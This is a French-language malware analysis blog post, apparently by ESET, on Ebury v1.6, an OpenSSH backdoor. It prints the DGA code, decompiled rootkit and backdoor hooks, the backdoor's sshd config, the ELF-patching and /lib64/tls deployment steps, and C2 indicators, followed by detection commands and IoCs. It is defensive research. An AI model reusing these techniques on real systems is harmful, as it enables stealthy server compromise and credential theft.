En février 2014, les chercheurs d’ESET publiaient un premier article de blogue sur une backdoor OpenSSH et voleur d’informations d’identification nommé Linux/Ebury. Des recherches subséquentes ont pu démontrer que cette composante était au cœur d’une opération impliquant plusieurs familles de logiciels malveillants qui a été surnommée par ESET « Opération Windigo ». Ceci a mené à la publication d’un rapport (white paper), couvrant l’ensemble de l’opération.

En février 2017, ESET a découvert un nouvel échantillon d’Ebury incorporant un nombre significatif de nouvelles fonctionnalités. Le numéro de version a fait un bond, passant à 1.6.2.a. La dernière version que nous avions observée avant cette découverte, quelques mois plus tôt, débutait par 1.5.x. Après une analyse plus approfondie, nous avons réalisé qu’Ebury était toujours utilisé activement par les criminels derrière Opération Windigo et que son infrastructure pour l’exfiltration de données personnelles était encore opérationnelle.

Les indicateurs de compromission (IoC) initiaux, que nous avions fournis en 2014, correspondent à la version 1.4 d’Ebury. Le CERT-Bund a mis à jour les IoCs pour la version 1.5 sur leur site Internet. Cet article de blogue présente un exposé technique sur la version 1.6, que nous avons découverte en février 2017. Nous partageons aussi les IoCs mis à jour pour les versions 1.5 et 1.6.

Nouveau DGA comme fallback d’exfiltration

Ebury v1.4 disposait d’un mécanisme de fallback utilisé lorsque les attaquants ne se connectent pas à la machine compromise via la backdoor OpenSSH pendant plus de trois jours. Dans ce cas, Ebury exfiltrait les données collectées en utilisant l’algorithme de génération de noms de domaine (DGA) pour trouver son serveur de contrôle.

Ebury v1.6 dispose du même mécanisme, mais avec un changement mineur au DGA lui-même. Seules les constantes ont été modifiées entre ces deux versions tel que présenté à la Figure 2.

def DGA(domain_no):
    # ords returns the signed integer representation of a one-char string
    # (the built-in ord returns only unsigned values)
    ords = lambda c: struct.unpack("b", c)[0]
    TLDS = [ 'info', 'net', 'biz' ]
    KEY = "fmqzdnvcyelwaibsrxtpkhjguo"
    h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF)
    g = ""
    for i in range(len(h))[::-1]:
        g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
        g += h[i]
    g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)]
    g += '.%s' % TLDS[domain_no % len(TLDS)]
    return g

Figure 1. Le nouveau DGA d’Ebury v1.6 implémenté en Python

@@ -4,11 +4,11 @@
     ords = lambda c: struct.unpack("b", c)[0]
     TLDS = [ 'info', 'net', 'biz' ]
     KEY = "fmqzdnvcyelwaibsrxtpkhjguo"
-    h = "%x" % ((domain_no * domain_no + 4091073) & 0xFFFFFFFF)
+    h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF)
     g = ""
     for i in range(len(h))[::-1]:
-        g += KEY[((ords(h[i]) * 4906) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
+        g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
         g += h[i]
-    g += KEY[((ords(h[-1]) * 6816) + (len(h) + domain_no - 1)) % len(KEY)]
+    g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)]
     g += '.%s' % TLDS[domain_no % len(TLDS)]
     return g

Figure 2. Différences entre le DGA de la v1.4 et la v1.6 implémenté en Python

Les dix premiers noms de domaines générés par le DGA sont :

  • larfj7g1vaz3y.net
  • idkff7m1lac3g.biz
  • u2s0k8d1ial3r.info
  • h9g0q8a1hat3s.net
  • f2y1j8v1saa3t.biz
  • xdc1h8n1baw3m.info
  • raj2p8z1aae3b.net
  • o9f3v8r1oaj3p.biz
  • tav4h8n1baw3r.info
  • hdm5o8e1tas3n.net

Ebury essaie successivement les noms de domaine ainsi générés, jusqu’à ce qu’il en trouve un ayant un enregistrement TXT configuré par l’opérateur. Afin de vérifier la propriété du domaine, il s’assure que l’enregistrement TXT peut être déchiffré en utilisant une clé RSA publique intégrée dans Ebury :

-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAOadSGBGG9x/f1/U6KdwxfGzqSj5Bcy4aZpKv77uN4xYdS5HWmEub5Rj
nAvtKybupWb3AUWwN7UPIO+2R+v6hrF+Gh2apcs9I9G7VEBiToi2B6BiZ3Ly68kj
1ojemjtrG+g//Ckw/osESWweSWY4nJFKa5QJzT39ErUZim2FPDmvAgMBAAE=
-----END RSA PUBLIC KEY-----
larfj7g1vaz3y.net. 1737  IN A 78.140.134.7
larfj7g1vaz3y.net. 285   IN TXT "ItTFyJ6tegXn9HkHa+XZX1+fZw0IsfhXl05phu1F7ZXDP4HtKMvrXW8NbUSjY8vkQgDdKsSaSCyrvfkhHodhVQLhIKJJY64HeoInb3m4SCNZNOhx9qjYRnuR0Ci7BHNWakJC/QdoQ4UNKkOrvvb42kN7TU6jqZCYBtusXd37tNg="

Figure 3. Enregistrement DNS pour larfj7g1vaz3y.net

L’enregistrement A du domaine est ignoré.

Les données déchiffrées comprennent 3 champs séparés par des deux-points. Voici un exemple de données stockées dans l’entrée DNS pour larfj7g1vaz3y[.], en janvier 2018 :

larfj7g1vaz3y.net:3328801113:1517346000

Le premier champ comprend le nom de domaine; les données signées ne peuvent donc pas être utilisées pour un autre domaine. Le deuxième champ présente l’adresse IP du serveur de contrôle, alors que le troisième correspond à l’horodatage UNIX utilisé comme date d’expiration pour la signature des données. La date d’expiration est un nouveau champ, ajouté dans la version v1.6 en tant que mécanisme anti-sinkhole. Si quelqu’un tentait de confisquer ou de s’approprier à la fois le domaine et l’adresse IP du serveur d’exfiltration, il ne pourrait réutiliser les données signées que pour une durée limitée. Ceci réduit l’impact des tentatives réussies de sinkhole, que presque toutes les versions précédentes du DGA ont subies.

Nom de domaine Adresse IP Date d’expiration
larfj7g1vaz3y[.]net 0xc6697959 ⇒ 198[.]105.121.89 2018-01-30 @ 9:00pm (UTC)

Nous croyons que les opérateurs d’Ebury ne prévoient pas vraiment utiliser le fallback d’exfiltration. Dans les échantillons que nous avons analysés, de nombreux bogues ont été trouvés, empêchant l’exécution de la routine de fallback. Ce code n’a définitivement pas été soumis à une phase de test complète. Pour cette raison, nous supposons qu’il est assez rare que les opérateurs d’Ebury perdent l’accès à leurs machines infectées. Il est aussi possible qu’ils ne se préoccupent pas de la perte occasionnelle de quelques machines, puisqu’ils contrôlent un nombre considérable de systèmes compromis. La raison pour laquelle tant d’efforts sont déployés pour mettre à jour un mécanisme qui ne fonctionne plus demeure un mystère pour nous.

Résumé des modifications

  • Modifications mineures au DGA (constantes changées)
  • Ajout d’une date d’expiration de la validité des entrées pour l’exfiltration du serveur DNS
  • Nouveau domaine enregistré : larfj7g1vaz3y[.]net
  • Nouvelle adresse IP du système d’exfiltration : 198[.]105.121.89

Nouvelles fonctionnalités

De nouvelles fonctionnalités ont été ajoutées dans la version 1.6. Pour des raisons inconnues, ces nouvelles fonctionnalités ne faisaient pas partie de tous les échantillons que nous avons analysés.

Ebury implémente désormais des techniques d’auto-dissimulation généralement décrites comme étant des « userland rootkit ». Pour ce faire, il « s’accroche » (hook) aux fonctions readdir ou readdir64 utilisées pour lister les entrées d’un répertoire. Si la prochaine structure dirent obtenue correspond à la bibliothèque partagée d’Ebury, le hook l’ignore et passe à la prochaine entrée.

struct dirent *__fastcall readdir(__int64 a1)
{
  struct dirent *dir_entry; // rax
  struct dirent *dir_entry_1; // rbx
  __ino_t inode; // rax

  do
  {
    if ( !readdir_0 )
      readdir_0 = F_resolve_func("readdir");
    dir_entry = readdir_0(a1);
    dir_entry_1 = dir_entry;
    if ( !exports_hook_activated )
      break;
    if ( !dir_entry )
      break;
    if ( !ebury_inode )
      break;
    inode = dir_entry->d_ino;
    if ( inode != ebury_inode && inode != ebury_lstat_inode )
      break;
  }
  while ( ebury_filename && !strncmp(dir_entry_1->d_name, ebury_filename,
    ebury_filename_len_before_extension) );
  return dir_entry_1;
}

Figure 4. Code décompilé par Hex-Rays du hook pour readdir

Pour activer ses hooks, Ebury injecte sa bibliothèque dynamique dans tous les processus descendants de sshd. Pour ce faire, Ebury s’accroche à execve et utilise la variable de l'éditeur de liens dynamiques LD_PRELOAD. Chaque fois qu’un nouveau processus est créé, Ebury ajoute LD_PRELOAD=<Ebury_filename> à son environnement. Une fois que le nouveau processus est exécuté, la bibliothèque dynamique d’Ebury est chargée et son constructeur est appelé, exécutant les routines d’accrochage.

Tel que mentionné dans un article sur srvfail.com, un utilisateur a publié une question sur StackExchange expliquant que son serveur a été infecté par Ebury. Le comportement qu’il décrit correspond aux techniques d’auto-dissimulation que nous avons observées avec la version 1.6.2a d’Ebury.

Les versions passées d’Ebury ne fonctionnaient généralement que pour des versions très précises d’OpenSSH et des distributions Linux spécifiques. Typiquement, les anciens échantillons d’Ebury ne fonctionnaient que pour 3 à 5 versions compilées d’OpenSSH et pour une distribution Linux donnée. Ce n’est plus le cas aujourd’hui. La plupart des modifications en mémoire (patches) du code d’OpenSSH ont été remplacées par des fonctions d’accrochage. Il n’y a plus d’offsets codé en dur. Nous avons tenté d’installer Ebury sur des ordinateurs fonctionnant sous Debian Jessie, CentOS 7 et Ubuntu Artful avec les mêmes échantillons et ça a fonctionné dans tous les cas.

Pour injecter la configuration du serveur d’OpenSSH durant l’exécution, Ebury analyse les sections de code du binaire sshd, chargées dans le même espace d’adressage, pour trouver deux fonctions différentes. Il tente de résoudre l’adresse de parse_server_config ou de process_server_config_line. En cas d’échec, il diminue les fonctionnalités de sécurité en désactivant le SELinux Role-Based Access Control et les modules PAM. Quand l’une des fonctions est résolue avec succès, Ebury l’utilisera quand sa backdoor est utilisée, afin de trafiquer la configuration de sshd.

PrintLastLog no
PrintMotd no
PasswordAuthentication no
PermitRootLogin yes
UseLogin no
UsePAM no
UseDNS no
ChallengeResponseAuthentication no
LogLevel QUIET
StrictModes no
PubkeyAuthentication yes
AllowUsers n
AllowGroups n
DenyUsers n
DenyGroups n
AuthorizedKeysFile /proc/self/environ
Banner /dev/null
PermitTunnel yes
AllowTcpForwarding yes
PermitOpen any

Figure 5. Configuration utilisée par la backdoor d’Ebury

Les auteurs d’Ebury ont aussi renforcé leur mécanisme de backdoor. Au lieu de se fier uniquement sur un mot de passe encodé dans la chaîne de caractère de la version du client SSH, l’activation de la backdoor nécessite désormais l’authentification par clé privée. Cette vérification supplémentaire pourrait avoir été ajoutée afin d’éviter que des personnes ayant trouvé le mot de passe de la backdoor ne l’utilisent et obtiennent ainsi accès aux serveurs compromis par Ebury.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESH
CvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd3BD+ADXDurAlDG
bh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00
H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC/9rqoAdv7Gbc5Y7W8xrNIjOIuxDx
Bx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq6
3E/xqI4tMEQl9BmW1Df5+LjbVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub

Figure 6. Clé publique RSA des opérateurs d’Ebury

Lors d’une tentative de connexion via la backdoor, Ebury modifie l’option AuthorizedKeysFile pour qu’elle pointe vers /proc/self/environ. Ensuite, il s’accroche à la fonction open ou open64 et vérifie s’il y a une tentative d’ouvrir /proc/self/environ ou un chemin contenant .ssh/authorized_keys. La deuxième vérification pourrait être utilisée comme fallback, dans le cas où Ebury échoue à résoudre parse_server_config et process_server_config_line pour pousser sa propre configuration. Une variable globale est utilisée pour s’assurer que fgets soit appelé après l’ouverture du fichier authorized_keys. Par la suite, le hook remplit le buffer de fgets avec la clé publique des opérateurs d’Ebury ; la clé des attaquants est alors utilisée pour l’authentification.

char *__fastcall fgets_hook(char *s, __int64 size, FILE *stream)
{
  int fd_env; // ebp
  char *result; // rax

  if ( !(backdoor_command & 1) )
    return fgets_0(s);
  fd_env = fd_proc_self_environ;
  if ( fd_proc_self_environ <= 0 || fd_env != fileno(stream) )
    return fgets_0(s);
  strcpy(
    s,
    "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESHCvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd"
    "3BD+ADXDurAlDGbh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC"
    "/9rqoAdv7Gbc5Y7W8xrNIjOIuxDxBx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq63E/xqI4tMEQl9BmW1Df5+Lj"
    "bVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\n");
  result = s;
  fd_proc_self_environ = 0;
  return result;
}

Figure 7. Code décompilé par Hex-Rays du hook pour fgets

Le but du hook pour memcpy, présenté à la Figure 8, demeure mystérieux pour nous.

char *__fastcall memcpy_hook(char *dst, const char *src, size_t len)
{
  size_t len_1; // r12
  char *result; // rax

  len_1 = len;
  memcpy_orig(dst, src, len);
  if ( len_1 > 0x1F && !strncmp(src, "chacha20-poly1305@openssh.com,", 0x1EuLL) )
    result = memcpy_orig(dst, src + 30, len_1 - 30);
  else
    result = dst;
  return result;
}

Figure 8. Code décompilé par Hex-Rays du hook de memcpy

Bien que nous savons qu’il est utilisé pour retirer l’algorithme chacha20-poly1305 durant l’échange de clé SSH, nous ne comprenons pas pourquoi les auteurs d’Ebury ne veulent pas que cet algorithme soit utilisé.

Nouvelles méthodes d’installation

Par le passé, Ebury ajoutait son payload à la librairie libkeyutils.so. Le fichier contenait à la fois les fonctions légitimes de libkeyutils et le code malveillant d’Ebury, qui était lancé au chargement de libkeyutils. Le fichier compromis avait une taille supérieure à la taille usuelle de ce fichier, un signe de l’infection de la bibliothèque que nous avions partagé en 2014.

Bien que nous ayions observé l’utilisation de cette technique pour la version 1.6, les auteurs d’Ebury ont développé de nouveaux tours pour tromper nos IoCs. Ils utilisent toujours le fichier libkeyutils.so, mais d’une façon différente.

Selon ce que nous avons vu, les scripts et techniques de déploiement semblent différer en fonction de la distribution Linux du système ciblé.

Debian/Ubuntu

Ebury est actuellement déployé sur Debian/Ubuntu en utilisant une nouvelle méthode. Puisque libkeyutils.so est chargé par le client et le serveur d’OpenSSH, il continue d’être une cible d’intérêt pour les attaquants. Nous avons précédemment observé l’installation d’Ebury par la modification du lien symbolique libkeyutils.so.1, pour le faire pointer sur la version malveillante de la bibliothèque. La bibliothèque modifiée possédait un constructeur où le code d’initialisation d’Ebury était stocké. Le constructeur est donc appelé à chaque chargement de libkeyutils.so. Ainsi, chaque fois que le client ou le serveur d’OpenSSH est lancé, Ebury est injecté dans le processus.

La nouvelle méthode de déploiement sur Debian/Ubuntu s’appuie maintenant sur la modification de l’entête de libkeyutils.so pour la forcer à charger Ebury, qui est stocké dans un fichier .so distinct. En comparant la version originale et celle modifiée, nous avons remarqué qu’il y a une entrée supplémentaire dans la section .dynamic de l’entête ELF. Cette entrée est de type NEEDED (0X01), signifiant que c’est une dépendance pour cet exécutable et donc qu’elle sera chargée au moment de l’exécution. Dans le script de déploiement que nous avons analysé, la bibliothèque à être chargée est nommée libsbr.so et elle contient le code malveillant d’Ebury.

--- ./libkeyutils.so.1-5            2017-10-13 21:19:24.269521814 -0400
+++ ./libkeyutils.so.1-5.patched    2017-10-13 21:19:17.405092274 -0400
@@ -1,5 +1,5 @@
 
-Dynamic section at offset 0x2cf8 contains 26 entries:
+Dynamic section at offset 0x2cf8 contains 27 entries:
   Tag        Type                         Name/Value
  0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
  0x000000000000000e (SONAME)             Library soname: [libkeyutils.so.1]
@@ -26,4 +26,5 @@
  0x000000006fffffff (VERNEEDNUM)         1
  0x000000006ffffff0 (VERSYM)             0xdf0
  0x000000006ffffff9 (RELACOUNT)          3
+ 0x0000000000000001 (NEEDED)             Shared library: [libsbr.so]
  0x0000000000000000 (NULL)               0x0

Figure 9. Différences entre la section dynamique de la version originale et altérée d’Ebury

Ce processus de modification de l’entête ELF comprend deux étapes. D’abord, la chaîne "libsbr.so" doit être stockée dans la table de chaîne de caractères du binaire. Puis, une nouvelle entrée de type 0x1 (DT_NEEDED) doit être ajoutée à la section dynamique de l’entête ELF. Cette entrée doit pointer vers la chaîne de caractères de la bibliothèque en utilisant un offset dans la table des chaînes de caractères. Pour ce faire, les auteurs d’Ebury remplacent la chaîne "__bss_start" par "_\x00libsbr.so". __bss_start n’est pas utilisé par l’éditeur de liens dynamiques, alors modifier ce symbole n’a aucun impact sur l’exécution de la bibliothèque. La Figure 10 illustre les différences entre la table de chaîne de caractères originale et altérée de libkeyutils.so.

Figure 10. Différences entre la table de chaînes de caractères originale et altérée

Figure 10. Différences entre la table de chaînes de caractères originale et altérée

Maintenant que la chaîne "libsbr.so" est stockée dans la table de chaînes de caractères, une nouvelle entrée doit être ajoutée à la section .dynamic. La Figure 11 présente les différences entre la section .dynamic de libkeyutils.so originale et altérée.

Figure 11. Différences entre la section dynamique originale et altérée

Figure 11. Différences entre la section dynamique originale et altérée

La section .dynamic comprend un tableau de structure de type Elf64_Dyn pour les binaires amd64 et Elf64_Dyn pour les binaires i386. La définition de chacune de ces structures est présentée à la Figure 12.

typedef struct {
   Elf32_Sword   d_tag;
   union {
       Elf32_Word d_val;
       Elf32_Addr d_ptr;
   } d_un;
} Elf32_Dyn;

typedef struct {
   Elf64_Sxword   d_tag;
   union {
       Elf64_Xword d_val;
       Elf64_Addr d_ptr;
   } d_un;
} Elf64_Dyn;

Figure 12. Les structures liées à la section .dynamic

Pour la Figure 13, considérons que nous avons une version 64-bit de libkeyutils.so. Ainsi, la nouvelle entrée de la section .dynamic pourrait être écrite comme suit :

Elf64_Dyn dyn;
dyn.d_tag = DT_NEEDED;
dyn.d_val = 0x38F;

Figure 13. Nouvelle entrée .dynamic

Le premier champ est 0x1, ce qui se traduit par l’étiquette DT_NEEDED. Le deuxième champ est l’offset de la chaîne de caractère "libsbr.so" dans la table de chaînes de caractères : 0x3F8.

Pour une meilleure furtivité, l’opérateur d’Ebury s’assure de corriger les empreintes MD5 du paquet libkeyutils1. Ainsi, il n’est pas possible de vérifier si un système est infecté en regardant l’intégrité du paquet. Une telle commande ne donnerait aucune erreur :

$ dpkg --verify libkeyutils1

De multiples noms de fichier sont utilisés par Ebury quand il est déployé en tant que bibliothèque séparée. Voici une liste de noms de fichier que nous connaissons :

  • libns2.so
  • libns5.so
  • libpw3.so
  • libpw5.so
  • libsbr.so
  • libslr.so

CentOS

Une technique similaire à celle décrite pour le déploiement de Debian/Ubuntu est utilisée sur CentOS. Les attaquants modifient l’entête ELF de libkeyutils.so pour forcer le chargement d’une bibliothèque supplémentaire. Cependant, nous avons aussi remarqué l’utilisation d’une nouvelle technique pour le déploiement d’Ebury sur les systèmes CentOS/RedHat. Nous ne connaissons toujours pas les détails du fonctionnement du processus d’installation. Cependant, en regardant les différents rapports en ligne, nous sommes parvenus à faire quelques suppositions éclairées sur la façon dont se déroulent les déploiements.

Nous savons qu’Ebury est parfois déployé en tant que bibliothèque dynamique chargée par libkeyutils d’une façon similaire au déploiement sur Debian. Mais nous avons aussi été témoin d’une autre méthode d’installation pour la version 1.6. Comme c’était le cas avec les versions antérieures, les opérateurs ont compilé leur propre version de libkeyutils.so, à laquelle ils ajoutent un constructeur contenant le code malicieux. Par contre, au lieu d’altérer le lien symbolique libkeyutils.so.1 de /lib/ ou /lib64/, ils utilisent le dossier /lib{,64}/tls/ pour déposer leurs fichiers, parce que l’éditeur de liens dynamiques regarde d’abord ce répertoire pour résoudre les dépendances.

Nous croyons que le processus de déploiement pour cette version implique de déposer Ebury dans /lib/tls/ ou /lib64/tls/, selon l’architecture du système de la victime. Puis, l’exécution de la commande ldconfig va automatiquement créer un lien symbolique /lib{,64}/tls/libkeyutils.so.1 pointant vers la bibliothèque dynamique malveillante.

# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007ff67774f000)
# cp libkeyutils.so.1.5 /lib64/tls/
# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f44ac6ba000)
# ldconfig
# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/tls/libkeyutils.so.1 (0x00007fc12db23000)
# ls -al /lib64/tls
total 24
dr-xr-xr-x 1 root root 4096 Oct 18 14:34 .
dr-xr-xr-x 1 root root 4096 Oct 18 13:25 ..
lrwxrwxrwx 1 root root   18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5

Figure 14. Utilisation de ldconfig pour déployer Ebury dans /lib64/tls/

De plus, ce mécanisme permet une désinstallation simple d’Ebury qui ne nécessite pas de manipuler un lien symbolique ni de conserver des copies de sauvegarde du libkeyutils original en cas de problème durant le déploiement. Afin que le système revienne à son état d’origine, la seule chose qui est requise est la suppression du fichier malveillant libkeyutils.so dans le dossier /lib{,64}/tls/, suivi du lancement de la commande ldconfig.

# ls -l /lib64/tls
total 16
lrwxrwxrwx 1 root root   18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
# rm /lib64/tls/libkeyutils.so.1.5
# ldconfig
# ls -l /lib64/tls
total 0
# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f7b89349000)
# ls -l /lib64/libkeyutils.so.1
lrwxrwxrwx 1 root root 18 Oct 18 13:25 /lib64/libkeyutils.so.1 -> libkeyutils.so.1.5

Figure 15. Utilisation de ldconfig pour la désinstallation d’Ebury

Le répertoire tls est utilisé par une des fonctionnalités de l’éditeur de lien dynamique. Celle-ci fait en sorte qu’un processeur supportant certaines instructions spécifiques utilisera une version de la bibliothèque tirant profit de ces intructions. Cette version sera localisée dans ce répertoire et aura priorité sur la bibliothèque de base stockée dans /lib{,64}/. Le répertoire tls est conçu pour un pseudo-hwcap pour le support de TLS, lequel est toujours présent dans les processeurs contemporains.

Conclusion

Même après l’arrestation de Maxim Senakh, le coeur de Windigo demeure opérationnel. Ebury, la composante principale du botnet, a connu des améliorations significatives. Elle utilise désormais des techniques d’auto-dissimulation et de nouveaux moyens d’injection dans les processus liés à OpenSSH. Qui plus est, la backdoor utilise un nouvel algorithme de génération de noms de domaine (DGA) pour trouver sous quel domaine trouver l’enregistrement TXT à récupérer. L’exfiltration de l’adresse IP du serveur est dissimulée dans ces données, signées par la clé privée de l’attaquant. Une date d’expiration a été ajoutée aux données signées, afin d’empêcher la réutilisation de cette signature et, par conséquent, atténuer les risques de tentatives de sinkhole. Les opérateurs de Windigo surveillent attentivement les IoCs partagés publiquement et s’adaptent rapidement, afin de tromper les indicateurs en vigueur. Gardez ceci en tête lorsque vous tentez de déterminer si un système est infecté en utilisant des IoCs publiques. Plus ils datent, plus ils risquent d’être obsolètes.

 Indicateurs de compromission (IoCs)

Dans cette section, nous partagerons les IoCs que nous avons trouvés pouvant aider à identifier les plus récentes variantes d’Ebury. Nous les partageons afin d’aider la communauté à détecter si leurs systèmes sont compromis. Notez cependant qu’ils ne sont en aucun cas à considérés comme étant parfaits.

Ebury utilise un socket UNIX abstrait pour communiquer avec les processus externes qui seront responsables de l’exfiltration de données. Dans la plupart des cas, le nom du socket débute par "/tmp/dbus-". Le vrai processus dbus peut créer un socket utilisant le même schéma. Cependant, Ebury fait la même chose, mais avec des processus qui ne sont pas liés au dbus légitime. Si la commande suivante affiche un socket, c’est suspect.

$ lsof -U | grep -F @/tmp/dbus- | grep -v ^dbus

Voici une liste des processus dont nous savons qu’Ebury utilise en tant qu’agent d’exfiltration:

  • auditd
  • crond
  • anacron
  • arpd
  • acpid
  • rsyslogd
  • udevd
  • systemd-udevd
  • atd
  • hostname
  • sync

Sur CentOS/Redhat, avoir un fichier libkeyutils.so* dans /lib/tls/ ou /lib64/tls/ est suspect.

Exécuter objdump -x libkeyutils.so.1 (ou readelf -d libkeyutils.so.1) imprimera la section dynamique de l’entête ELF. Toute entrée de type NEEDED (type 1) autre que libc ou libdl est suspect.

$ objdump -x /path/to/libkeyutils.so.1 | grep NEEDED | grep -v -F -e libdl.so -e libc.so

Dans le cas où votre ordinateur serait infecté par une version d’Ebury avec le “userland rootkit”, il y a de nombreux moyens permettant de le détecter. Puisque d’Ebury s’injecte en utilisant la variable d'environnement de l’éditeur de liens dynamiques LD_PRELOAD, nous pouvons utiliser d’autres variables d’environnement pour tracer le processus de liaison dynamique. Si libkeyutils est chargé dans certains processus où il ne devrait pas l’être, il est probable que le système soit infecté par une version d’Ebury avec le rootkit. Si les commandes suivantes génèrent des résultats, c’est très suspect:

$ LD_DEBUG=symbols /bin/true 2>&1 | grep libkeyutils

Si vous trouvez des machines compromises, nous vous suggérons fortement de procéder à une réinstallation complète du système, parce que Windigo installe parfois de multiples logiciels malveillants. Alors, un ordinateur compromis par Ebury est probablement pollué par d’autres menaces. De plus, considérez l’ensemble des identifiants d’utilisation et des clés SSH comme compromises. Assurez-vous de toutes les modifier.

SHA-1 Nom de fichier Version Détection
5c796dc566647dd0db74d5934e768f4dfafec0e5 libns2.so 1.5.0 Linux/Ebury.B
615c6b022b0fac1ff55c25b0b16eb734aed02734 <Unknown> 1.5.1 Linux/Ebury.E
d4eeada3d10e76a5755c6913267135a925e195c6 libns5.so 1.5.1c Linux/Ebury.E
27ed035556abeeb98bc305930403a977b3cc2909 libpw3.so 1.5.1d Linux/Ebury.E
2f382e31f9ef3d418d31653ee124c0831b6c2273 libpw5.so 1.5.1e Linux/Ebury.E
7248e6eada8c70e7a468c0b6df2b50cf8c562bc9 libpw5.so 1.5.1f Linux/Ebury.I
e8d3c369a231552081b14076cf3eaa8901e6a1cd <libkeyutils lib> 1.5.5 Linux/Ebury.F
1d3aafce8cd33cf51b70558f33ec93c431a982ef <libkeyutils lib> 1.5.5 Linux/Ebury.F
a559ee8c2662ee8f3c73428eaf07d4359958cae1 <libkeyutils lib> 1.5.5c Linux/Ebury.F
17c40a5858a960afd19cc02e07d3a5e47b2ab97a libslr.so 1.5.6dp Linux/Ebury.I
eb352686d1050b4ab289fe8f5b78f39e9c85fb55 libkeyutils.so.1.5 1.5.6d Linux/Ebury.F
44b340e90edba5b9f8cf7c2c01cb4d45dd25189e libkeyutils.so.1.5 1.6.2a Linux/Ebury.I
e8d392ae654f62c6d44c00da517f6f4f33fe7fed libsbr.so 1.6.2gp Linux/Ebury.I
b58725399531d38ca11d8651213b4483130c98e2 libsbr.so 1.6.2gp Linux/Ebury.I